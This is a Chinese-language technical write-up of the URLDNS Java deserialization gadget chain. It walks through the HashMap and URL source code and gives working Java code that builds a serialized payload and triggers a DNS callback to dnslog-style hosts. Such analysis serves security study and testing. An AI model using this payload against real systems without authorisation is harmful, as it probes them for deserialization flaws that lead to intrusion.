URLDNS链子分析

序列化

Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。

URLDNS分析

利用链

HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

可以看出最后在执行到了hashCode中。

URL.hashCode()

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看出当hashCode != -1 时候可以继续执行handler.hashCode(this)

    /* Our hash code.
     * @serial
     */
    private int hashCode = -1;

默认值正好是-1 所以只要把URL传入就可以构造一个满足的条件了。

在后续的handler.hashCode中解析了ip可以达到触发dnslog的方法
现在就是触发hashCode

HashMap.readObject

    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在HashMap中重写了readObject,实现了反序列化化时候对内容的添加,在使用putVal添加时候依旧会对键进行hash计算。正好可以触发到URL的hashCode

构造一个序列化

        URL url = new URL("https://ebcd430c.ipv6.1433.eu.org");
        HashMap<Object,Object> hashMap = new HashMap<>();
        // 添加到HashMap中
        hashMap.put(url,1);

        // 反射方法修改hashCode的值
        Class cls = url.getClass();
        Field hashCode = cls.getDeclaredField("hashCode");
        // 设置修改权限
        hashCode.setAccessible(true);
        hashCode.set(url,-1);
        // 写入文件
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urlDns.bin")));
        oos.writeObject(hashMap);

其中在添加到HashMap后要修改HashCode的值

因为HashMap.put方法中在添加值的时候对值也进行了hash的计算,从而触发了URL.hashCode然后导致了hashCode的值改变,但是因为hashCode值为private 所以需要通过反射的方法进行修改,把hashCode的值重新修改为-1

重新测试下反序列化

ObjectInputStream inputStream = new ObjectInputStream(Files.newInputStream(Paths.get("urlDns.bin")));
        Object o = inputStream.readObject();

上面因为dns缓存的问题,直接put时候已经执行了一次
所以可以直接通过反射的方法添加HashMap

     URL url = new URL("https://f4c877cc.ipv6.1433.eu.org");
        HashMap<Object,Object> hashMap = new HashMap<>();
        // 反射添加值
        Class cls = hashMap.getClass();
        Method method = cls.getDeclaredMethod("putVal", int.class,Object.class,Object.class,boolean.class,boolean.class);
        method.setAccessible(true);
        method.invoke(hashMap,0x00,url,1,false,true);